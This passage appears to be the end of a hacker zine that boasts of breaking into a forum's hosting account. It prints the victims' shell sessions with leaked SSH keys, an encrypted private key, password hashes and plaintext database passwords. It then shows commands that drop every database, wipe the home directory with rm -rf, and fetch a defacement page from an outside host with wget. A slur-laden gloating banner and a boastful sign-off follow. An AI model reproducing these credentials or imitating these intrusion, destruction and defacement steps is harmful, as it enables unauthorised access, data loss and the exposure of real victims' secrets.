"*.php" -type f -exec chmod 644 '{}' \; 29457 exit 29458 #1237985901 29459 ls -al 29460 #1237985902 29461 cd newoldstuff 29462 #1237985903 29463 ls -al 29464 #1237985922 29465 mv affils/ ../www/ 29466 #1237985951 29467 ls -l ../www/ 29468 #1237985960 29469 mv images/ ../www/ 29470 #1237985976 29471 chmod 777 ../www/uploads/ 29472 #1237985983 29473 mv *.pdf ../www/ 29474 #1237986011 29475 mv pics/ ../www/ 29476 #1237986020 29477 ls -al 29478 #1237986039 29479 mv google7b9d7b49f4ea50cb.html ../www 29480 #1237986067 29481 ls -l style_avatars/ 29482 #1237986075 29483 ls -l style_captcha/ 29484 #1237986079 29485 ls -l style_images/ 29486 #1237986087 29487 ls -l style_images/bhfskin/ 29488 #1237986092 29489 ls -al 29490 #1237986118 29491 ls -l ../www/images/ 29492 #1237986123 29493 ls -l ../www/pics/ 29494 #1237986423 29495 ls -al 29496 #1237986444 29497 ls -l ../www/style_images/ 29498 #1237986450 29499 ls -l style_images/ 29500 #1237986479 29501 mv style_images/bhfskin/ ../www/style_images/ 29502 #1237986488 29503 ls -l ../www/style_images/bhfskin/ 29504 #1237986521 29505 mv style_images/11_11_2_logo4.jpg ../www/style_images/ 29506 #1237986530 29507 mv style_images/11_2_logo4.jpg ../www/style_images/ 29508 #1237986531 29509 ls -al 29510 #1237986549 29511 ls -al 29512 #1237986685 29513 chmod -R 755 ../www/cache/ 29514 #1237986703 29515 ls -l style_avatars/ 29516 #1237986751 29517 ls -al 29518 #1237986756 29519 ls -l modules/ 29520 #1237986766 29521 ls -l ips_kernel/ 29522 #1237986775 29523 cd ../www/ 29524 #1237986776 29525 ls -al 29526 #1237986781 29527 ls -l interface/ 29528 #1237986786 29529 ls -l interface/board/ 29530 #1237986791 29531 ls -l interface/board/modules/ 29532 #1237986794 29533 ls -l interface/board/modules/ipb/ 29534 #1237986918 29535 find -maxdepth 1 -type f -exec chmod 644 *.php \; 29536 #1237986920 29537 ls -al 29538 #1237986926 29539 ls -l interface/board/modules/ipb/ 29540 #1237986944 29541 man find 29542 #1237987063 29543 cd nterface/board/modules/ipb/ 29544 #1237987067 29545 cd interface/board/modules/ipb/ 29546 #1237987068 29547 cd .. 29548 #1237987076 29549 chmod -R 644 *.php 29550 #1237987085 29551 chmod -R 644 `*.php` 29552 #1237987092 29553 chmod -R 644 '*.php' 29554 #1237987100 29555 chmod -R 644 ´*.php´ 29556 #1237987108 29557 man find 29558 #1237987185 29559 find -maxdepth 1 -type f -exec chmod 644 {} *.php 29560 #1237987213 29561 find -maxdepth 1 -type f -exec chmod 644 {} ;\ 29562 #1237987228 29563 man find 29564 #1237987540 29565 /usr/bash 29566 #1237987543 29567 /usr/s 29568 #1237987547 29569 /usr/sh 29570 #1237987554 29571 /bin/sh 29572 #1237988467 29573 cd .. 29574 #1237988468 29575 cd .. 29576 #1237988469 29577 cd .. 29578 #1237988478 29579 mv index.html index.old.html 29580 #1237988982 29581 vi init.php 29582 29583 bhf@blackhat-forums.com [/home/bhf/.ssh]# ls 29584 29585 authorized_keys 29586 authorized_keys2 29587 BlackHat 29588 BlackHat.pub 29589 29590 bhf@blackhat-forums.com [/home/bhf/.ssh]#cat authorized_keys authorized_keys2 29591 29592 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAkqLRPOUqschX8pZ+vKcHuzrr8rBBJ2vUm1wt0Pz0UwE0 29593 k7i6JbuiHojbBzEnSbb/od8yNptlvglyPvSq+87a52M6jmya4WVUUgdyXsH7pB37wGUp9/ZTt6Iz1PQ4 29594 CJecg2j9eaQWRFWj46t1XG1Pv3tAh3nEFlKj6nbjV0iwlauzqDZBjKNBul+dmpzB1yKe+5D07r+RaDsj 29595 Bo1BmQnT/QP+YLIwEWgCsZIDJvgRnZbwSRVEFmvNmGu/YBoojcwx14C55ZRKtqrsc7ivOocuiWQ8XqhV 29596 MxUigo7lMhqw2jnbUbLrCYx3uEfp/9EXu7Msys3u7uhS7cSPDEUhWNmchQ== bhf@cp.secureserver 29597 tech.com 29598 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAkqLRPOUqschX8pZ+vKcHuzrr8rBBJ2vUm1wt0Pz0UwE0 29599 k7i6JbuiHojbBzEnSbb/od8yNptlvglyPvSq+87a52M6jmya4WVUUgdyXsH7pB37wGUp9/ZTt6Iz1PQ4 29600 CJecg2j9eaQWRFWj46t1XG1Pv3tAh3nEFlKj6nbjV0iwlauzqDZBjKNBul+dmpzB1yKe+5D07r+RaDsj 29601 Bo1BmQnT/QP+YLIwEWgCsZIDJvgRnZbwSRVEFmvNmGu/YBoojcwx14C55ZRKtqrsc7ivOocuiWQ8XqhV 29602 MxUigo7lMhqw2jnbUbLrCYx3uEfp/9EXu7Msys3u7uhS7cSPDEUhWNmchQ== bhf@cp.secureserver 29603 tech.com 29604 29605 bhf@blackhat-forums.com [/home/bhf/.ssh]# cat BlackHat BlackHat.pub 29606 29607 29608 -----BEGIN RSA PRIVATE KEY----- 29609 Proc-Type: 4,ENCRYPTED 29610 DEK-Info: DES-EDE3-CBC,E3512229ABD62387 29611 29612 XbiBxmNbGMN0hx2XOEzeFz+oWzyJa2AyYgfQlPhopgIiOBbAAnQdRKoLkjBn9SZg 29613 pE807J5g2O53Rl/px8EX5Nj9k88l1onUUkSmecVZSciyNZS8wc8pKdPQlmamrpph 29614 65JUTjeSrh4Z7xsHwa68NgREudjIvF3bt9+SgpWose4+UB2+PralmDE9ZYK8C9Di 29615 RcEFTsPt5pkh34cXlfUS46e39YbwYKvJBCxTitzjdk7BvEdHPFeX2pmKWF0CrLnl 29616 oy9geqbA6V1NTb7CQwkNrhJPIgoKwHa+d0rMEv4frVpJ7eYM5wEjNPRwEwcdtoXF 29617 uIXdjcnSteDVGoE8z9HIaTEJ1EjALHdnt9cqeXHlN/OqFGV85rJiApnq9q1Cy+LM 29618 0cqsp3FQWdsLC3LH1jCzV7kvmskFMZsoBP5ghjkoQDFTGlqkJfH2CyWjy1KNeKIH 29619 N+ZFJaxyYjlNgGx2jH07lHj6yzaZrNGn4hX+sZlxPgwFgngTdxIbDDYfYlQdBOog 29620 mDtH0LGlhSGPQErMfIIvbDRv9axsBSP0nNBiY7XhESaChFVWkk7BFiQ2Sd0EOWbn 29621 1ZEI3Rv2YpI0m62ttYAwEqNx0Cl7eXVUl3ImON//8dF/4+8utJUSqvUd/7DFr3eB 29622 FJYobDjuG0dWKyE/DCxQ6MPoXPjY5b/huKVG63onHXnGoPjOcE2uzruI1j05hBBl 29623 Rry/zIu8EjPmqt3mnLKinQqvai8q68IqgugpYbWcJAmEINrOEJMfHQNrFjjvYLh3 29624 ODiSC8/6wh5Od6Y6mBZcTiqQhyZkwAvTrq6i7xLtq0hqO6ZZB+Z4RB1K2dZL8RWf 29625 0i5hzj6bt8D6c79E7kELfqrA1/5XwpGxRRDWUD3V8wVQE/hv4ff5GQy8P8Lerl9n 29626 HCoC2tDwe0qhz4BvCMXLblgTkJMoqV19psvPJFlGseC8/tb+iiHchok1Y9Hju1Z4 29627 0bCwRMDnmSWlOLNBS+DUsPN4R/gUIo/oHdPxG+tZnKFUo4MiEX8IK/8kmS66g0zp 29628 fz/A6qP6DtgcE06WKRUr52xGUChedkP3EgAIv4wmtyFw1tjxpagwvIGz2ABEtHtp 29629 zxIer7s8Kg26Lv2IIG+BLZPVVLJwHtVvn1V2U3hm3kLlwplbOX2wNKfdviAw9juU 29630 aeJeAiA3C1xgm1PrvxiD3kJIwtYc0H5imio2FpTu0vryaUn++B1L3RgA4kfXN9SV 29631 UT2d12qyMc4qSS7CbeLdi0f0kop8NNCYbCPXQ3q1hX3oT2eXOizABRD5EtKrgXnt 29632 ZMVAGVLw7Wmzp71bxz6GcO99bW4vBZMqYSCahEldeKJNTBSlSGYsA5je54V55kqC 29633 IE58RmgIXBsCCyQGNFy0E8UOuPbCwspAUSzmLQUExXOGoPqGL04vYZQovaQz2R1+ 29634 Lcgn08BDbXJEomolDzU56S1Bd/Uu290gUKwvG0cwFRpfnZEnNZFx525izjWaPamg 29635 9lUIpcSqSWbJW8/l888KsXZ6axn9ZqRpoSdeq79r2a72QWjHr8lgdUzfC2wkNcEm 29636 muDwnpRowZYlamFtBE3Zz+mkfotb7tMEaMz4EYhOfnp+Y/X/IXTRgA== 29637 -----END RSA PRIVATE KEY----- 29638 29639 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAkqLRPOUqschX8pZ+vKcHuzrr8rBBJ2vUm1wt0Pz0UwE0 29640 k7i6JbuiHojbBzEnSbb/od8yNptlvglyPvSq+87a52M6jmya4WVUUgdyXsH7pB37wGUp9/ZTt6Iz1PQ4 29641 CJecg2j9eaQWRFWj46t1XG1Pv3tAh3nEFlKj6nbjV0iwlauzqDZBjKNBul+dmpzB1yKe+5D07r+RaDsj 29642 Bo1BmQnT/QP+YLIwEWgCsZIDJvgRnZbwSRVEFmvNmGu/YBoojcwx14C55ZRKtqrsc7ivOocuiWQ8XqhV 29643 MxUigo7lMhqw2jnbUbLrCYx3uEfp/9EXu7Msys3u7uhS7cSPDEUhWNmchQ== bhf@cp.secureserver 29644 tech.com 29645 29646 bhf@blackhat-forums.com [/home/bhf/.htpasswds/public_html/morganti/infowars-aust 29647 ralia.com]# cat passwd 29648 29649 infowars:_aZ2sSwqXfa0U 29650 29651 bhf@blackhat-forums.com [/home/bhf/.htpasswds/public_html/morganti/perthcitizens 29652 fortruth.org]# cat passwd 29653 29654 truth:LEUnx.HF5kNmg 29655 29656 bhf@blackhat-forums.com [/home/bhf/.htpasswds/public_html/ptsec.net/octagonal]# 29657 cat passwd 29658 29659 pequenopalco:0NhnQW5j.DmQg 29660 29661 bhf@blackhat-forums.com [/home/bhf/etc/blackhat-forums.com]# cat passwd 29662 29663 admin:x:32030:32032::/home/bhf/mail/blackhat-forums.com/ 29664 admin:/usr/local/cpanel/bin/jailshell 29665 29666 bhf@blackhat-forums.com [/home/bhf/etc/blackhat-forums.com]# cat shadow 29667 29668 admin:$1$VesctqnB$tWjZ.3ojCbQofjolC4EYf.:14370:::::: 29669 29670 bhf@blackhat-forums.com [/home/bhf/public_html]# cat conf_global.php 29671 29672 <?php 29673 $INFO['sql_driver'] = 'mysql'; 29674 $INFO['sql_host'] = 'localhost'; 29675 $INFO['sql_database'] = 'bhf_forumipb'; 29676 $INFO['sql_user'] = 'bhf_logisti'; 29677 $INFO['sql_pass'] = '{r#eIwQZ&!VA'; 29678 $INFO['sql_tbl_prefix'] = 'ibf_'; 29679 $INFO['sql_debug'] = '1'; 29680 $INFO['board_start'] = '1182851736'; 29681 $INFO['installed'] = '1'; 29682 $INFO['php_ext'] = 'php'; 29683 $INFO['safe_mode'] = '0'; 29684 $INFO['board_url'] = 'http://www.blackhat-forums.com'; 29685 $INFO['banned_group'] = '5'; 29686 $INFO['admin_group'] = '4'; 29687 $INFO['guest_group'] = '2'; 29688 $INFO['member_group'] = '3'; 29689 $INFO['auth_group'] = '1'; 29690 $INFO['mysql_tbl_type'] = 'MyISAM'; 29691 $INFO['upload_dir'] = '/home/blackhat/public_html/uploads'; 29692 $INFO['hb_sql_driver'] = 'mysql'; 29693 $INFO['use_friendly_urls'] = '1'; 29694 /*~~DATA~~*/ 29695 $VAR = <<<EOF 29696 a%3A4%3A%7Bs%3A12%3A%22install_apps%22%3Bs%3A40%3A%22core%2Cforums%2Cmembers%2Cc 29697 alendar%2Cchat%2Cportal%22%3Bs%3A11%3A%22install_dir%22%3Bs%3A21%3A%22%2Fhome%2F 29698 bhf%2Fpublic_html%22%3Bs%3A11%3A%22install_url%22%3Bs%3A30%3A%22http%3A%2F%2Fwww 29699 .blackhat-forums.com%22%3Bs%3A10%3A%22sql_driver%22%3Bs%3A5%3A%22mysql%22%3B%7D 29700 EOF; 29701 /**/ 29702 ?> 29703 29704 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 29705 BHFOWNEDANDRMED BHFOWNEDANDRMED 29706 BHFOWNEDANDRMED TIME TO RM THESE FAGGOTS OFF THE INTERNET BHFOWNEDANDRMED 29707 BHFOWNEDANDRMED BHFOWNEDANDRMED 29708 BHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMEDBHFOWNEDANDRMED 29709 29710 bhf@blackhat-forums.com [/home/bhf]# cat .my.cnf 29711 [client] 29712 user="bhf" 29713 pass="IxTnA{KU?z/c7(q:" 29714 bhf@blackhat-forums.com [/home/bhf]# echo show databases|mysql -ubhf -p'IxTnA{KU?z/c7(q:' 29715 Database 29716 information_schema 29717 bhf 29718 bhf_aep 29719 bhf_forumipb 29720 bhf_infowarsjoomla 29721 bhf_ratforge 29722 bhf@blackhat-forums.com [/home/bhf]# echo "drop database bhf;drop database bhf_aep;drop da 29723 tabase bhf_forumipb;drop database bhf_infowarsjoomla;drop database bhf_ratforge;"|mysql -u 29724 bhf -p'IxTnA{KU?z/c7(q:' 29725 bhf@blackhat-forums.com [/home/bhf]# echo show databases|mysql -ubhf -p'IxTnA{KU?z/c7(q:' 29726 Database 29727 information_schema 29728 bhf@blackhat-forums.com [/home/bhf]# ls -al 29729 total 180 29730 drwx--x--x 24 bhf bhf 4096 Jul 15 07:15 ./ 29731 drwxr-xr-x 247 root root 12288 Jul 12 18:07 ../ 29732 drwx------ 3 bhf bhf 4096 Feb 1 2008 .MirrorSearch/ 29733 -rw------- 1 bhf bhf 12527 Mar 25 11:21 .bash_history 29734 -rw-r--r-- 1 bhf bhf 24 Jun 29 2007 .bash_logout 29735 -rw-r--r-- 1 bhf bhf 215 Mar 24 18:50 .bash_profile 29736 -rw-r--r-- 1 bhf bhf 124 Jun 29 2007 .bashrc 29737 -rw------- 1 bhf bhf 16 Jun 29 2007 .contactemail 29738 drwxr-xr-x 3 bhf bhf 4096 Feb 1 2008 .cpaddons/ 29739 drwxr-xr-x 5 bhf bhf 4096 Jun 27 04:07 .cpanel/ 29740 -rw------- 1 bhf bhf 42 Sep 21 2007 .cpanel-logs 29741 drwx------ 2 bhf bhf 4096 Feb 1 2008 .cpcpan/ 29742 -rw-r--r-- 1 bhf bhf 19 Jul 15 09:40 .dns 29743 drwx------ 2 bhf bhf 4096 Oct 1 2007 .elinks/ 29744 drwxr-xr-x 6 bhf bhf 4096 Apr 9 2008 .fantasticodata/ 29745 -rw------- 1 bhf bhf 16 Jun 25 22:34 .ftpquota 29746 drwxr-x--- 3 bhf nobody 4096 Feb 1 2008 .htpasswds/ 29747 -rw-r--r-- 1 bhf bhf 12 Sep 26 2007 .lang 29748 -rw------- 1 bhf bhf 14 Jul 1 12:37 .lastlogin 29749 -rw------- 1 bhf bhf 41 Mar 25 08:39 .lesshst 29750 drwxr-xr-x 2 bhf bhf 4096 Feb 1 2008 .mc/ 29751 -rw------- 1 bhf bhf 44 Mar 20 20:29 .my.cnf 29752 -rw-r--r-- 1 bhf bhf 509 Jun 30 2007 .pearrc 29753 drwxr-xr-x 3 bhf bhf 4096 Feb 1 2008 .rvskin/ 29754 drwx------ 2 bhf bhf 4096 Jul 14 09:59 .spamassassin/ 29755 -rw-r--r-- 1 bhf bhf 0 Oct 31 2007 .spamassassinboxenable 29756 -rw-r--r-- 1 bhf bhf 0 Oct 31 2007 .spamassassinenable 29757 drwx------ 2 bhf bhf 4096 Sep 3 2008 .sqmaildata/ 29758 drwx------ 2 bhf bhf 4096 Mar 24 18:33 .ssh/ 29759 drwx------ 2 bhf bhf 4096 Sep 22 2007 .trash/ 29760 -rw-r--r-- 1 bhf bhf 658 Oct 23 2007 .zshrc 29761 lrwxrwxrwx 1 bhf bhf 29 Aug 17 2008 access-logs ->/usr/local/apache/domlogs/bhf/ 29762 drwxr-xr-x 2 bhf bhf 4096 Mar 24 17:54 code/ 29763 -rw-r----- 1 bhf bhf 1 Dec 17 2008 cpbackup-exclude.conf 29764 drwxr-x--- 3 bhf mail 4096 Jun 25 07:03 etc/ 29765 drwxr-xr-x 2 bhf bhf 4096 Jan 26 2008 home/ 29766 drwx------ 2 bhf bhf 4096 Jul 1 05:09 logs/ 29767 drwxrwx--- 18 bhf bhf 4096 Jul 14 22:45 mail/ 29768 drwxr-xr-x 3 bhf bhf 4096 Feb 1 2008 public_ftp/ 29769 drwxr-x--- 18 bhf nobody 4096 Jul 15 05:55 public_html/ 29770 drwx------ 4 bhf bhf 4096 Feb 1 2008 ssl/ 29771 drwxr-xr-x 8 bhf bhf 4096 Jun 27 04:07 tmp/ 29772 lrwxrwxrwx 1 bhf bhf 11 Aug 17 2008 www -> public_html/ 29773 bhf@blackhat-forums.com [/home/bhf]# rm -rf .MirrorSearch/ .bash_history .bash_logout .bas 29774 h_profile .bashrc .contactemail .cpaddons/ .cpanel/ .cpanel-logs .cpcpan/ .dns .elinks/ .f 29775 antasticodata/ .ftpquota .htpasswds/ .lang .lastlogin .lesshst .mc/ .my.cnf .pearrc .rvski 29776 n/ .spamassassin/ .spamassassinboxenable .spamassassinenable .sqmaildata/ .ssh/ .trash/ .z 29777 shrc code/ cpbackup-exclude.conf etc/ home/ logs/ mail/ public_ftp/ ssl/ tmp/ 29778 bhf@blackhat-forums.com [/home/bhf]# cd public_html 29779 bhf@blackhat-forums.com [/home/bhf/public_html]# rm -rf * 29780 rm: cannot remove `ptsec.net/aep/sites/default/settings.php': Permission denied 29781 rm: cannot remove directory `ptsec.net/aep/sites/default/files': Permission denied 29782 rm: cannot remove `ptsec.net/aep/sites/default/default.settings.php': Permission denied 29783 bhf@blackhat-forums.com [/home/bhf/public_html]# wget http://romeo.copyandpaste.info/txt/m 29784 ovement.txt -O index.html 29785 --09:44:46-- http://romeo.copyandpaste.info/txt/movement.txt 29786 => `index.html' 29787 Resolving romeo.copyandpaste.info... 76.175.20.182 29788 Connecting to romeo.copyandpaste.info|76.175.20.182|:80... connected. 29789 HTTP request sent, awaiting response... 200 OK 29790 Length: 2,778 (2.7K) [text/plain] 29791 29792 0K .. 100% 54.62 KB/s 29793 29794 09:44:46 (54.62 KB/s) - `index.html' saved [2778/2778] 29795 29796 bhf@blackhat-forums.com [/home/bhf/public_html]# ls -al 29797 total 20 29798 drwxr-x--- 3 bhf nobody 4096 Jul 15 09:44 ./ 29799 drwx--x--x 3 bhf bhf 4096 Jul 15 09:44 ../ 29800 -rw-r--r-- 1 bhf bhf 222 Jun 26 05:36 .htaccess 29801 -rw-r--r-- 1 bhf bhf 2778 Jan 7 2007 index.html 29802 drwxr-xr-x 3 bhf bhf 4096 Jul 15 09:44 ptsec.net/ 29803 bhf@blackhat-forums.com [/home/bhf/public_html]# cd .. 29804 bhf@blackhat-forums.com [/home/bhf]# ls -al * 29805 lrwxrwxrwx 1 bhf bhf 29 Aug 17 2008 access-logs -> /usr/local/apache/domlogs/bhf/ 29806 lrwxrwxrwx 1 bhf bhf 11 Aug 17 2008 www -> public_html/ 29807 29808 public_html: 29809 total 20 29810 drwxr-x--- 3 bhf nobody 4096 Jul 15 09:44 ./ 29811 drwx--x--x 3 bhf bhf 4096 Jul 15 09:44 ../ 29812 -rw-r--r-- 1 bhf bhf 222 Jun 26 05:36 .htaccess 29813 -rw-r--r-- 1 bhf bhf 2778 Jan 7 2007 index.html 29814 drwxr-xr-x 3 bhf bhf 4096 Jul 15 09:44 ptsec.net/ 29815 29816 29817 29818 29819 | 29820 \ / _\/_ 29821 Last Words .-'-. //o\ _\/_ 29822 -- / \ -- | /o\\ 29823 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 29824 Stop! | 29825 I want to go home 29826 Take off this uniform and leave the show 29827 But I'm waiting in this cell because I have to know 29828 Have I been guilty all this time? 29829 29830 Five isn't a bad number to quit on, is it? 29831 29832 It's been a long time since ZF01. Our owns and releases get better. We would 29833 not consider releasing ZF01 and ZF02 if we were to do it again. Yet doing so 29834 taught us a lot, it threw us out there. We didn't really know what we were 29835 capable of, and we wanted to find out. We were really lucky in how it worked 29836 out, so far. 29837 29838 In the next few months we will do what we did last time. We will chill. Fresh 29839 start. We will have the time to audit some more code and write some code that 29840 we have been meaning to write. Research more hobby projects of ours. That kind 29841 of thing. 29842 29843 Thanks to everyone who sent us mail, there was some great stuff. Sorry we let 29844 the account expire. 29845 29846 The longer we spend on a zine (and the observant reader will notice that the 29847 interim period has grown between each release), the more we are sick of it by 29848 the end. Maybe we will come back, maybe we won't. We can always just hack 29849 silently, join our forefathers in the zine-writers afterlife; that place where 29850 you have already said what you wanted to say, and if you feel like it you just 29851 own and control. 29852 29853 You guys still don't get it. What you see in ZF0 and geist and elsewhere isn't 29854 the end of worldwide ownage, it's the beginning. This is the rule, not the 29855 exception. We don't publish everything, and we publish more hacks than our 29856 cohorts do. We're in every loop. If you aren't keeping your local blackhat rep 29857 informed, you damn well better, or we'll take your spools. 29858 29859 Shoutz to Ac1dB1tch3z bringing ruquz to '09. 29860 29861 29862 ~~~~~~~~~~~~~~~~~~~~~~~~~~ Hope you enjoyed the show ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 29863 ~~~~~~~~~ ~~~~~~~~~ 29864 ~~~~~~ Summer isn't over yet ~~~~~~ 29865 ~~~ ~~~